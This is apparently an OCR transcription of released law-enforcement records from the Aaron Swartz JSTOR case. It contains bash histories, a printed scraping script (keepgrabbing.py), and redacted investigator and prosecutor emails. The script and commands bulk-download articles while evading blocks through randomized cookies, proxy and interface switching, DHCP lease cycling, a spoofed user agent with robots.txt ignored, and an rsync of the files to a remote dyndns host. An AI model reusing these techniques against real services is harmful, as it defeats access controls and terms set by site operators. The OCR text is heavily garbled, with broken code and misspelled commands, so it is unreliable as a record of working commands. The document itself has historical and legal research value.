curl -1 proquest.uml.com/pgdweb?RQT=3058SQ=PMIN(66569)&PageSize=50
curt -1 “proquest.umi.com/pgdweb?RQT=305&5Q=PMID{66569)&PageSize=50"
curt -H "Cookie: ISESSIONID=fzWwqzMRSha" -0 0.html
"proquest.uml.com/pqdweb?RQAT=305&5Q=PMID(66564)&PageSize=50"
more 0.htmi

curl -H "Caakle: JSESSIONID=f42WwqzMRSha" -0 $0.html
"proquest.umi.com/padweb?RQT=305&50=PMID{66569)&PageSize=508&fIrstindex=50"
diff -u 0.htmli 50,html

macs curlcommands.py

emacs curlcommands.py

python curclcommands.py

python curlcommands.py

more curicommands.sh

rm curlcommands. py

emacs curicommands.py

python curlcommands.py

more curlcommands.sh

bash curlcommands.sh

more 1100

more 1100, htm!

lynx -dump 1100.html

links 1100.htmt

python

cat > saneurl.py

8

ks /media

g

mkdir /media/drive/umli

fg

curl -t http://proguest.umi.com/pgdweb

fg

Is /media/drive/umi

. lR
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more /media/drive/2073772711 pdf
more /media/drive/umi/2073772711.pdf
more /medla/drive/umi/2073772711.html
more /media/drive/umi/2073772711.pdf
fg

<d /vol
~/keepgrabbing.py

¢d..

cd vol

~/keepgrahbbing.py

ig

~/keepgrabbing.py

cd.,

cd vol

is

~fkeepgrabbing.py

is

df -h

pwd

cd..

<d vol

~/keepgrabbing.py

cd ../vol

Is

~/keepgrabbing.py

cd /media

is

cd 3aab9fel-9¢54-4301-9374-72722d78d3e0/
is

df -h

sudo shutdown now

¢d /media/de

cd /medla/drive/

mkdir jsindex

sudo mkdir Jsindex

sudo chown ghost jsindex
od jsindex

python

Is

fg

more 2010/0800.htmi

cd 1989

Is

¢d fvol/

Is

cd jsindex/1989

Is

Is- | less

Is -1 | tail

¢d ../19%0

1s-1 ] less

python

[rR1F ]
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python Jusr/binfeasy_install

sudo easy_install -install-dir /usr/tib/python2.6/ pyoal
PYTHONPATH=/usr/lib/python2 6 sudo easy_install —install-dir /usr/lib/python2.6/ pyoal
sudo easy_install -install-dir fusr/lib/python2.6/site-packages/ pyoai

sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --instail-dir fusr/lib/python2.6/site-packages/ pyoal

cd /usr/localfib/python2.6/
Is-a

cd dist-packages/

Is-a

(11

sudom*

sudo rm -rf *

sudo easy_{nstall pyoai
python

Is

python

cd

Is blocks/|we <

fg

ps ax | grep keep

ps ax | grep ser

fg %1

fg0

fg

kill 2137

il 2138

ps ax | grep keep

python serveblocks.py 8092
2

python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks,py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kil %1

fe

python serveblocks.py 8092
kit %1

g

python serveblocks.py 8092
kil %61

fg

python serveblocks.py 8092
fg

kill %61

fg

python serveblocks.py 8092

kil) %1

IRIFI




fg
python servebfocks.py 8092
kils %61

fg

emacs serveblocks.py

python serveblocks.py 8092

cd /medla/drive/

~fkeepgrabbing.py

df-h

df -h|grep sdd; date

du -hse /vol/*

dm /vol/uristograb2.wget

rm Jvol/uristograb2.wget

du -hse fvoif*

bwm-ng

du -hsc /vol/*®

df -n

df -higrep media

Is blocks|we -l

Is

emacs oaigrab.py

python -i oaigrab.py

emacs uaigrab.py

python -i oaigrab.py

emacs oaigrab.py

mkdir muse

mv urlstograb® muse

python oaigrab.py | tee uristograb.wget

wc -l uristograb.wget

emacs ocaigrab.py

python -i oaigrab.py | tee uristograb.wget

emacs o3igrab.py

python -i oaigrab.py | tee urlstograb.wget

Is

emacs oaigrab.py

fa Ay

emacs oaigrab.py

python -i onigrab.py | tee urlstograb2.wget

fg

cd fvol

wget <x - -n¢ -l “/uristograb.wget

more anslysis.oxfordjournals.arg/content/35/3/97.full.pdf
wget -x -nv -ne -i ~/uristograb.wget

mkdir sd

cd sd

wget -m -ap "http://www.sciencedirect.cam/sclence/page/sitemap/index.htmi”
wget ~header="User-Agent: WL/6" -m -np "http://www.sciencedirect.com/sclence/page/sitemap/index,htm!”
wget —header="User-Agent: WL/6" -m -np "http://www.sclencedirect.com/sclence/page/sitemap/index.htmi”
wget -¢ robots=off ~header="User-Agent: WL/6" -m -np
"hitp:/ /www.sclencedirect.com/science/page/sitemap/index.htmi®
is

cd www.sclencedirect.com/science/page/sitemap/publication/
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Is
cd seclal/
Is

cd journals/

Is

emacs ~/sis

chmod +x ~/sls

~fsls | less

~/sls. | less

more 17509467.btmi
Is 0242648X

Is 0242648X/24

is 0242648%/24/3
more 0242648X/24/3/243.html
python

fe

midir /vol/sd/jo
fe

cd

fg

python

is

cd umi

s

python

fe

more keepgrabbing.py
cd /vol/

Is

mkdir pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
~fkeepgrabbing.py
cd ..
~{keepgrabbing.py
f8
~/keepgrabblng.py
dids

fs

python

pwd

Is

cd ~fumi

python

fg

python

Is 1000000 .htmli

i

more 128214.htmi
more 128213

less 128204 .htm|

[mie ]
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less /vol/umi/128204.htmi
links fvel/umi/128204.html
python

Is-th

Is blocks | we -

python

Is *dbm

fg

Is

more deleteandgrab

split -a 5 4 1000 deleteandgrab blocks/regrabe
Is blocks/|we -

cd blocks/

Is | less

is | tail

(< I

fg

Is /mnt

df

1s /media/drive

fg
links http://caliber.ucpress.net/dol/pdf/10.1525/as.2010.50.5.835

Is
rm pl-salmela.pdf

curl "http://portal.acm.org/ft_gateway.cfm?id=11874398&type=pdf&CFiD=15902&CFTOKEN=55055171"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=11874398&¢type=pdf&CFID=15902&CFTOKEN=55059171"
curl 4 "http://portal.acm.org/ft_gateway .cim?id=1187439&type=pdf*

curl -1 "http://portal.acm.org/ft_gateway.cfm?7id=11874398type=pdt"|less

Is

more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py
is /vo)

~fsls /vol uml > uml.sls
more umi,sls

~fsls fvolfuml > umi.sls
~/sls fvol/fpdfs > pdfs3.sis
13 -IR fvol > js3 IsiR
more js3.IsIR

Is -IR Avolf > Js3.IsIR
more js3.IsIR

we - js3.sIR

echo -n me@aaronsw.com|mdSsum
of

ps ax

df

mount /dev/sdc/vol

od /vol

Is

cd /media/

is

is -

2 |RIFI
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ron drive

sudo rm drive
sudo mkdir drive
sudo mount fdev/sde drive
sudo mount /dev/sdel drive
cd drive

Is

df

fd -h

df -h

mkdir pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
f;
~/keepgrabbing.py
cd /media/drive/pdts
more 3590725.pdf
less 3697690.pdf
less 30072010.pdf
less 60244678.pdf
less 3523970.pdf
less 3548593 pdf
less 3523645.pdf
less 3813153 pdf
less 3838338.pdf
less 3279339.pdf
less 1888323.pdf
less 688560.pdf
less "234,.pdf"
less 742572.pdf
lass 30058803.pdf
lass 2023815.pdf
more 2023815.pdf
cd
~/keepgrabbing.py
fs

Is

cd pdfs

Is

df -h

<d /vol/
~fkeepgrabbing.py
cd..

cd vol
~/keepgrahbing.py

[oxoriTiC) B
U.S. Secrat Service
Boston Field Office

O] IR

29
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[)6)(ENTHCY 1{CID)

From: [(b)(BY.(b)(7)C) (BOS)
Sent: Manday, July 18, 2011 3:60 PM

To: (L)(B).(bI7HC (C!ng)gag.gb)m(c% JCio)
Subject: - AdIoI itz--Inllal Appeara

{ may need to leave the training for some time tomorrow morning

U.S., Secret Service
Boston Field Office

[(BY6).(B}7(]
From: Heymann, Stephen (USAMA) (mailtdEXELEIDCT — Jusdol.gov)
Sept: , 2011 3:22 PM
To|(P)B).(X7XC)  [(B0S)FEYB).BYTHC) _ Rcambridgepolice.org
s an awd

Su ~-Initial Appearance

Agron Swartz Is scheduled for his initial appearance before judge Dein at 10:00 a.m. tomorrow (if he surrenders himself
before then). | hope you both will be able to be there. Steve

2768



(L)E),(bN7HC) 1({C1D)

From: [(B)(6).(b)7XC) IBos)

Sent: Nadnesday Morch 18, 2011 1:28 PM
To: (b)6).(bY7NC)  |(CID)

Subject: G T Feedback from MIT case

No 8E letter is necessary

(eX8).(b)7)C)

Sent from Blackbarry

From: Heymann, Stephen (USAMA){(bX8).(bI7HC)  Pusdoj.gov>

To [[BIBLBNTIC)__|(BOS)
Sent: Wed Mar 16 13:25:45 2011

Subject: RE: CID/CERT: Feedback from MIT case [Per EQUSA ]

(b)(3) Rule 62 (b)(5)

mniwici(wam Ji80S) [t EREIBITNCT husss.dhs.aov]

Sent: , 6, 2011 1:13 PM
To: Heymann, Stephen (USAMA)

Subject: Fw: CID/CERT: Feedback from MIT case

Question from CERT

(b)@)(LX7XC)

Sent froin Blackbey

----- Qriginal Méssage -----
Fr@mgzﬂmlm
Tol(BXB).(bX7)C BOS)

Sent: Wed Mar 16 13:10:51 2011

Subject: CID/CERT: Fecdback from MIT case

[INava

The guys here have some a report for you. However, their supervisor needs to review it before it goes out,

Should we add him to the 6e?

His name {(b)(6).(b) | Be is title {(B}B).(L)7)C)

Hfor the Digital ntelligence and Investigations Directorate. He hes the same

address aslGyRY YTV ]

All he is doing is reviewing the report.

hanks
(b)B).(bN7XNC)
Special Agent
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[EXEBRTIC) 1(cID)

From: (B)6).(ENTHC) 803)
Sent: "hursday. October 13, 2011 10:06 AM
To: (£)(6)(bYTXC) YCID){(BXE).BYTNT)

Subject: FW: Discovery List

Please see belaw:

(bX6).(b}7NC)

U bccm Service

fTice
b)B). m)m :

me:  Heymann, Stephen (USAMA} (mailtd(E)(B).(L)(7HT)

Iusdol.qov]

r 13, 2011 8:55 AM
ro (b)(ﬁ) (bX7XC) BOS)

Ccei(b}8).(bY7UC)  Fambridgepglice.org
Subject: Discovery List

per EOUSA

(bX5)

5. Either you omill pick up the drives contalning coples of MIT’s material logs fromy il

Thanks, Steve
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(B)(8).(b)}(7)(C)

(CID)

From:
Sent:
To:

Ce:
Subject:

|(b)‘(6").(b_x7')<0) '

Sent from Blackberry

Fb)(S).(b)( 7(C)

(BOS)

Mopnday, Novem!

her 07, 2011 6:50 PM

(b)(6).(bY7HC)

= @

(h)(6).(b}7)C)

cambridgenolice org

Tw. Important CERT Request

From: Heymann, Stephen (USAMA) [maiit{(b)(6).(B)7)C)  Jusdal.yov]
Sent: Monday, November 07, 2011 06:20 P

Tol(b)(6).(bX7)C)

J(BOS)

Subject: Impartant CCRT Request

per EQUSA

(b)(5)

Thank you, Steve
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(D)(B).(BUTHC) (CID)

From: {{b)(8).(bX7)(C) | (BOS)
Sent: Ctid 08,2011 11:12 AM
To: (EXB).(b)T)C)  [CID)
Subject: W: Please cantirm with Cert

Please sce below: We are preparing to take the Swartz case to indictment and Heymann wants to double check that
everything is exactly accurate. Do you agree with the paragraphs below?

[2)8).6XCY ]
t).S. Sceret Service
Boston Field Office

From: Heymann, Stephan (USAMA) {mailtd{0)(6).(b)(7)(C) usdol,aQy)
Sent: Friday, July 08, 2011 10:50 AM

To{(b)6).(b)}{7)C) BOS)

Subject: Piease confirm with Cert

Please confirm with Cert, today If at all possible, that our summary of the facts in these two paragraphs are an accurate
summary of their preliminary findings. Thank you.

From: Heymann, Stephen (USAMA)
Sent: Friday, July 08, 2011 10:19 AM

To: [(b)(6).(b)X7XC) Pusss.dhs.gov
SubYe e Pl the forensic reports that reflect these facts

26. On February 24, 2011, the Court issued warrants to search the Acer laptop, Western Digital hard
drive and the HP USB drive. As a result of these searches, [ um aware that the MAC address assigned by the
manufacturer to the ethernet interface card on the seized Acer laptop is 00:23:5a:73:5€.b, the same as the
“ghost laptop” which connected to the MIT network in September, 2010. On the Acer laptop was a software
application entitled “keepgrabbing.py”, which was designed to downlouad .pdf files from jstor.org.” In addition
to those described in footnote ___, above, JSTOR's terms and conditions of use explicitly prohibit users froin
attempting to circumvent software protections emplayed in the JSTOR platform. The implementation of
keepgrabbing.py was designed to avoid JSTOR's efforts to spot and prevent serial downloads of the size here.
The application would download the .pdt files from JSTOR to a {ile dircctory named “pdfs”, The USB Drive
found in Swartz's backpack contained a file “keepgrabbing2.py”, with a script very similar to that contained in
the Acet laptop. The Western Digital hard drive, which was recovered with the Acer laptop, had Aaron Swartz's
fingerprint on it. The drive contained a folder named “pdfs” which contained an estimated over 97,000 .pdf
files. A spot check of approximately a dozen of those files reflected that each was a JSTOR digitized journal
article.

27.  Alogging file on the Acer laptop, known ag the .bash_history file, showed an attempt to submit
a computer or user name “Grace Host” and e-mail address ghost42(@mailinator.com to the registration form at
10.72,0.47:444/bin/dynreg. This network address was associated with guest registration on the MIT aetwork
before the laptop’s seizure in Januaty, 2011, The .bash_history file also reflects that on an unknown date the
contents of the “pdfs/™ directory was copied to a folder named “/vol/pdfs” on another computer accessed
through the DynDNS registered record? DynDNS is a method of tying a specific hostname (such as “ghost
macbook™) to a computer that could have a dynamic or changing IP address (such as a home computer on

Comeast's cable network). for “ghost macbook.
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i(l:)(ﬁ).(b)(ﬂ(C).Per UssSs kClD)

From:. [kb}6),(6)X7)C),Per U }BOS)

Sent: Tuesday, May 10, 2011 2:55 PM

To; {b)(8) (bX7)

Ce: (C).Per USSS __[CID)

Subject: FW: Potential Additional Paragraphs for the Seizure Warrant Affidavit
Attachmenta: USSS03_CERT-Analysis.zip

1 was wondering if you might be able to help me with the questions below specificalty:

J(b)(ﬁ).(b)(ﬂ(ELPer i

U.S. Secret Service
wton Fiold "
BIOLOT) |
From: Heymann, Stephen (USAMA) [mailtd{b)(8),(b}(7)(C) Per Jix,

Sent: Tuesday, May 10, 2011 8:14 AM
Toﬁi(ﬁ).(b'i(7)ic?59§;er S BOS)
Cel()(6).(bY7)(C),Per _bmbyidgepglice.org

Subject: Potential Additlonal Paragraphs for the Sefzure Warmrant Affidavit

Per EOUSA

(bX(5)
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(BY(5)

Thank you, Steve

L]

Per EQUSA
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(b)(B).(ENTNC) (CID)
From: [®E.ONC)_ 1sos)

Sent: _Monday, Novembar 07, 2011 5:02 PM
To: i >10)

Ce: (b)(8).(EXTHC) ﬁcambﬁdgepoﬁce.om
Subject: e [

(bX3)

l(b)(ﬁ).(b)(T)(C) ]

Sent from Blackberry

From: Heymann, Stephen (USAMA} (mailtof(5)(8).(b)7)(C)  Pusdoj.gov]
Sent: Monday, November 07, 2011 04:26 PV
To[®)(8).EN7)C (80S)

Lambridaenolice,ordl(PHBY.(BXTNC) [(USAMA) [(E)B).(0OX7XNC) JusdoLagoy:

C
Subject: RE: Swartz Evidence

We need to produce 8 mirror image of:

{1) The Acer

{2) The IMac seized at Harvard

{3) The drive seized at Harvard

{4) The USB drive selzed from the hackpack

{S) The iogs sent over from MIT

{6} The USB drive seized from the spartment
We do not need to have 3 computer loaded with forensic software at this juncture. We are going to object to producing,
at this time, the drive that was seized from his wallet if, as | remember, it was encrypted. Am [ missing any electronic
storage device? Swartz has sent over a 750gb drive. Let me know if you need a second on which to stare the images
and, if so, how large.

Since they cannot be usefully mirrored, as | understand it, we need to make the seized cell phones available to the
extent they were not encrypted In a form that will not permit their alteration. Let's discuss the options for doing this.
We have tentatively scheduled the production of these, along with the other things seized from the apartment, for
November 21/22.

From{BXOLBRNC) __(80S) (0rail{BIELBRACT Pusss.dhsgov]
Sents November 07, 2011 3:23 PM

Tq “’11(6*“’) rgamb_rldggmugg._qm

Cc: Heymann, Stephen (USAMA)

Subject: Re: Swartz Evidence
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[EIELENT) (CID)

From: {{6)(8).(b)}(7)C) (BOS)

Sent: Nednesday March 02, 2011 5:09 PM
To: (D)B).BY7NC) | uSAMAY

Ce: (b)(B).(bI7NC) CID),_—_L(b)(ﬁ).(b)'('7")(C"')' |
Subject: keepgrabing

FYI

Below was a script that was found at [root\home\ghost\keepgrabbing py

#Yusr/bin/python
import subprocess, urllib, random
class NoBlocks(Exception): pass

def getblocks():

r= urllib.m‘lopcn(';_zr_a_b'_)._mggl()
if '<html’ in r.lower(}: raise NoBlocks

return r.splitQ)

import sys

if len(sys.argv) > 1t

prefix = [--socks$', sys.argv(1]}

else:

prefix = [J#"- .interface’, ‘eth0: 1]

line = Jambda x: ['curl’] + prefix + ['-H', "Cookie: TENACIOUS=" + str(random.random()){3:], "-o', 'pdfs/ +
str(x) +".pdf, "hitp://www,istor.ory/stable/pdiplus/” + str(x) + ".pdf?accept TC=true"]

while 1:

blocks = getblocks()

for block in blocks:
print block
subprocess.Popen(line(block)). wait()

I(b)(6),(b)(7)(C) l
LLS. Secret Service
Bosion Field Office
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[(XBLBITHC) |ciD)

From: Heymann, Staphen (USAMA) [DIE.ONTKC) — Yisdoj gav]
Sent: I..Sabnday_[ahumf& 201 E_)-_ZMM___I
To: (ENB).(bXTNC) (BOS)[(B)B).(BX7XC)_JCID)
Subject: Motion for Giand Juty Disclosure
Attachments: JSTOR Memorandum In Support of Be Disclogure.pdf
(E)6).(bX7)(C)
<<JSTOR Memorandum In Support of 8e Disclosure.pdf>> [per EOUSA l

(b)(3).Rule 8E.(b)(5).(b)}8).({LN7XC)

Thanks, Steve
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[T (CID)

From: [(0)(6).(b}7HC) —I®cert.org)
Sent: . g 16, 2011 10:66 PM
To: [(bX6).(b)(7)C) BOS

Ce: [(b)(E).(EN7)C) !D)
Subject: ralfic {0 and from laptop - MIT

wETE]

Just wanted to let you know that|(B)(8).(b)(7XC) Bnd I have analyzed the collection of PCAP logs
you sent us from the MIT case. There were a number of questions from Steve Heymann that we

wanted to get back to you on.

For the period in which the network traffic was collected in the PCAPs, you can clearly see a
system that uses the MAC address 980:4C;E5:808:C7:56 (and uses several IPs over the course of
the capture) actively downloading from the JSTOR system via HTTP.

We believe that it is the same machine used these IPs, not just because they mapped back to
the same MAC address, but also because an OpenSSH server was listéning on port 22 on the IPs
with the same host-identifier key. The connection banner from this OpenSSH server states that
it is running on an Ubuntu Linux system.

Considering the volume of data downloaded, we don‘t see any equivalent volume (or even
remotely equivalent volume) transferred from the target system to another system, Unless such
a transfer occurced outside the period of the network capture, it would be reasonable to
assume that the downloaded deta was being stored locally on the system, rather than forwarded
to other computers.

There are some remote connections via SSH to the target system that appear sustalned enough
to represent a meaningful interaction (rather than password- guessing attempts and the like).
These connections are all from the IP address

on the MIT network, which you identify as a "dial-in" server on campus. Are
connection logs to this machine available?

Other than the SSH sessions noted, the PCAPs contain no other traffic to the target system
that conforms to conventional remote administration services. In addition, we found no
indication of unconventional control channels.

The remaining questions ralsed, such as the nature of the program driving the downloading,
will probably be answeired by an examination of the Acer laptop.

Please let us know if we can provide more information, including specifics about any of the
activity 1 have described.

B¢ regards,
(B)(B).(bX7
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BB BNTIC) CID)

Fram: Heymann, Staphen (USAMA{(b)(8).(b}(7)(C) Busdoj.gov}
Sent: - ahriary 25, 2011 10:10 AM
To: (BY6).LEUTUC)  kcID)

Subject: RE: Aaron Swartz Case

Thank you.

FroC!D) [mailecl(X(8),0)7) Busss dhs.gov]
Sent: Friday, February 25, 2011 10:03 AM

To: Heymann, Stephen (USAMA)

Subject: Re: Aaron Swartz Case

(E@E]

I'm walking to our lab now. | will get the requested information to you as quickly as | can.

hada

(BXBLENTHC)

pecial Agen

ret Service
(b){8).{bX7)(C) |(Desk)
(Mohila)

412-268-5276 (Fax)

From: Heymann, Stephen (USAMAYD)(6).EX7)(C) Pusdot.aov>
Ta (CID)

Sent: Fri Feb 25 10:01:05 2011
Subject: Aaron Swartz Case

Can you please send me one paragraph describing [SIPTBR7ICT|'s areas of expertise and wha he Is employed
by? Like[BIEITJis he employed by CERT which then has a contract with secret Service or like you Is he an
agent. Also, has he previously handled grand jury material in other criminal investigations in other districts?

Thanks, Steve

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system, This e-mail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
loaned to you and should not be further disseminated without the permiission of the Secret Service. If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
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IE)(G).(NU)(C) (CID)

From: Heymann, Stephen (USAMAY{(L)(6).(b}7XC)  J@usdoj gov)
Sent: Monday, July 11, 2011 1,14 PM

To: [T (819} .

Ce: li(b)(s).(b)m(C) (BOS){(DXBLINT) | (USAMA)
Subject: T

You're awesome, 3:30 would be great. Steve

From{BXELOXINC) 1I0) [mailtd(B)E)BI7IC huss
Sent: Monday, July 11, 2011 1:11 PM

Co PN ERIIC) ]80S [BIETERTIC USAHA

Subject: Re: Aaron Swarlz

All:

Will 3:30 PM today work for everyone's schedules? We will reserve the CERT telsconfarence line and distribute the call-in
numbet If the ime is amenable.

(D)(8),(bX7)C)

Spatial Agent
U S, Secrat Sarvice

{(D)B).{bY7NC) [Desk)
Mobils)

A12-268-5228 (Fax)

From: Heymann, Stephen (USAMA)[(B)(6).(B)(7)C) Busdol.gov>
Toj(b)(8).{b)7HC }(CID)
Ce{BYB)(BYNIC) 1(805)!(b)(6p.¢.b)(7)(cl J(USAMA) [BXEL.BYTHCI B
Sent: Mon Jul 11 12:57:51 2

Subject; Aaron Swarkz

(b)5)

Many thanks, Steve

All e-mail to/from this account is subject to official review and is for official use only, Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system, This e-mail may contain information

1
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[£)B).()}7)(C).Per USSS 1(C10)

From: [()(8).{b)(7)(C),Per USAcert.org)

Sent: Nedpesday, M , 2011 8:56 AM

To: [(B)(B).(E)7)(C),Per U K

Ce IDND)O). (b

Subject: 3 Moo ary Involved with MIT hack and downloading from JSTOR

D0 you hava some time today that we can go avar the questlons you have on tha bash history fisted balow and keepgrabbling python script?
(B)(6).(b]

Fron{(D)(B).(b)(7X(C),Per USSS _ |@usss.dhs.gov>

Date: Tue, 8 Mar 2011 17:24:Q5 0500

To{(bX6)L(B)7)C).Per US Rcert.oig>

Subject: Fw: bash history of Acer involved with MIT hack and downloading from ISTOR

(b)(8).(b)(7)

pecial Agen

U.S. Secrat Service
(b)(6).{b)(7)  |(Desk)
l{C),Per USSS _[(Mobila)
412-268-6226 (Fax)

Fromj(b}{6).(b)(7)(C).Per 1BQOS

Td(by(8).OXTNC), LIONE)E). ) Pcert.org’ [BIELEN Poert.org>

Sent: Tue Mar 08 17:21:53 2011

Subfect: Fw: bash history of Acer involvad with MIT hack and downloading from JSTOR

would anyone have time available to help me dscipher the bash history for proof of Mac spoafing and interpret what the
script keepgrabbing.py does?

[(6)G).(b)7)(C),Per]

Sent from Blackbsrry

From{(b)(8).(bX7)(C).Per YBOS)

To: ‘Heymann, Stephen (USAMAY [(B)(6).()(7)(C}.Per JRusdol.gov>
Cel(b)(B),(bX7XC). |CID)
Sant: Wed Mar 02 17:31:13 2011

Subject: bash history of Acer Invoived with MIT hack and downloading from JSTOR

Yl

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing
and JSTOR:

cat .bash_history
rm .bash_history
screen -X

uptime
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df-h

Is /mnt/pdfs/{wc-)

ts -f /mnt/pdfs/|we -l

screen <X

cat .bash_history

Is

cat .ssh/known_hosts

whois ygl.as

uptime

curl Www.jstor.org

links www.jstor.org/stable/838383
is

mv 838383.pdf /mnt/pdfs/

screen ~r

screen -x

curt [stor.org

corl -l wwww.Jstor.org

curl -i www.fstor.org

sudo ifconfig wlan0 down

sudo dhdient -re

sudo dhclient -r

sudo ifconfig ethQ up

sudo dhclient

curl - www jstar.org

curl scripting.com

/sbinfifconfig -3

cur scripting.com

ping 4.2.2.2

cat Jetc/resolv.cont

sudo dhclient -r

sudo dhclient

ping 4.2.2.2

cat /etc/resolv.conf

curl scriptng.com

curl www.google.com

curl -i www.jstor.org

/sbin/ifconfig -a

ping ghost-laptop.dyndns-free.com
ps ax { grep lp
Jetcfinit.d/ez-ipupdate
/etc/init.d/ez-Ipupdate reload
sudo /ete/init.d/ez-Ipupdate reload
ping ghost-laptop.dyndns-free.com
dig ghost-laptop.dyndns-free.com
dlg @nsl.dyndns.org ghost-faptop.dyndns-free.com
sudo /ete/init.d/ez-ipupdate restart
dig @nsi.dyndns.org ghost-lagtop.dyndns-free.com
ez-ipupdate --help

ez-ipupdate ~help|less

sudo ez-ipupdate

sude ez-lpupdate - eth0

more /etc/er-ipupdate/default.conf

|R||=|
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ez-ipupdate —~help|less

sudo ez-ipupdate -¢ fetc/ez-ipupdate/default.conf
sudo ez-lpupdate -vwv < fetc/ez-ipupdate/default.conf
ez-ipupdate --help|less

sudo ez-Ipupdate -vwv -c /etc/ez-ipupdate/default.conf -| ethO
sudo ez-lpupdatae ¢ /etc/ez-ipupdate/default.conf -{ ethO
dig @nsi.dyndns.org ghost-laptop.dyndns-free.com
Is /mnt/{wc -l

cd /mnt

Is

ps ax } grep touch

ps ax | grep seq

touch 1

Is

touch 2

seq120

seq 1 20 | xargs touch

Is j we-l

seq 1 2000000 | xargs touch

Is fwe-l

Is ) less

Is | we -l

ps ax | grep bash

w

who am |

kil 3658

kil -9 3658

mkdir pdfs

cd pdfs

~/keepgrabbing.py

emacs /home/ghost/keepgrabbing.py
zile /home/ghost/keepgrabbing.py
~/keepgrabhing.py

touch foo

rm foo

cd ..

~/keepgrabbing.py

cd /mnt

Is

m*

Is

cd pdfs

ls

of

is

python serveblacks.py

python serveblocks.py 8092

bg

fg

ps ax | grep serve

kill 2461

ps ax | grep serve

IRIFI
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python serveblacks.py 8092
bg

Is /mnt

Is /mnt/pdfs

Is - /mnt/pdfs/

cd
gnoma-screensaver-command --activate
s

ps an | grep curl

kil 13047

curl www.jstor.org
dhclient —help

sudo dhcllent
bwm-ng

Is blocks/jwe -1

df-h

links www.Jstor.org/stable/873098
bwm-ng
gnome-screensaver-command --activate
Is blocks/| we -
bwm-ng

Is blocks/jwe -
uptime

bwm-ng

df -h

Is blocks | we-l

bwm ng

sudo umount /mnt

daf

screen -x
~fkeepgrabbing.py

cd /mnt/
~/keepgrabbing.py

g

cd /mnt/
~/keepgrabbing.py

od /mnt/
~fkeepgrabbing.py

0

cd /mntf
~/keepgrabbing py
bg; ~/keepgrabbing.py
cd /mntf
~/keepgrabbing.py

bg

bg; ~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py

bg

~/keepgrabbing.py

bg

~/keepgrabbing.py
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bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
be
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~[keepgrabbing.py
bg

~ /ke
~/keepgrabbing.py
bg
“~/keepgrabbing.py
cd /mnt
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg

~fke
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~fkeapgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~fkeepgrabbing.py
¢d /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd /mar/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~fkeepgrabbing.py
cd /mat/

[R1F ]
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~/keapgrabbing.py
¢d fmnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd font/
~{keepgrabbing.py
cg /mnt/
~{keepgrabbing.py
¢d /mnt/
~fkeepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabblng.py
cd /mnt/

~JK
~/keepgrabbing.py
cd /mnt
~“/keepgrabbing.py
cd /mnt
~/keepgrabhing.py
¢d /mny/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mt

cd /mnt/

cd /mt
~/keepgrabbing.py
~/keapgrahbing.py
<d /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
ed /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~{keepgrabbing.py
cd /mnt/
~/keepgrabbing. py
“/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing. py
cd /mnt/
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~/keepgrabbing.py
~[keepgrabbing.py

cd /mat/

~/keepgrabbing.py

cd /mnt

~/keepgrabbing.py

screen -f

screen -x

uptime

df-h

screen -

screen -x

e

uptime

bwm-ng

df-h

scraen x

ps ax | grep curl

ps ax | grep keepgs | awk *{print $1)' | xacgs kili
ps ax | grep curl

ps ax | prep gr

ps ax | grep curl

df -h

/sbln/ifconfig -a

sudo ifconfig eth0:1 static 18.55.7.49
cud --{nterface eth0:1 www.jstor.org
curl ~Interface ethD:1 www.google.org
rsync -avz pdfs/ ghost-macboak.dyndns-free.com:/voi/pdfs
screen r

screan -X

python

suro easy_lnstall pyoal

sudo apt-get install python-ixinl
sudo easy_install pyoal

python

sudo easy_install —remove pyoal
easy_install ~help

easy_install -helpjless

sudo easy_install ~remove pyoal
python

sudo easy_instail pyoai

cd Juse/local/lib/python2.6/

ts

Is site-packages/

cd

Is

locate easy-install.pth
locate easy_install.pth
suda easy_install pyoai
locare easy-install.pth
cd fusrflib/python

Is

[R1F ]
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Is-a

¢d ../python2.6

Is

easy_install --help

easy_install --heip|less

python serveblocks.py

python serveblocks. py 8092

bg

sudo dhelient -r

sudo dhdlient

sudo dhclleat -r

sudo ghclient

sudo dhcllent -

sudo dhclient

ping 4.2.2.2

sudo dhclient -r

sudo dhclient

sudo dhclient -r

sudo dhclient

sudo dhclient -r

sleep 60

sudo dhcilent -r

sudo dhclient

cd Jvol/

Is

Is -th pdfs

easy_{nstall pyoai

sudo apt-get install python-setuptools
sudo apt-get update

sudo apt-get install python-setuptools
sudo apt-get upgrade

ez-fpupdate

sudo fetc/init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig ethO

ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo fetc/init.d/ez-lpupdate restart
ping 18,55.7.237

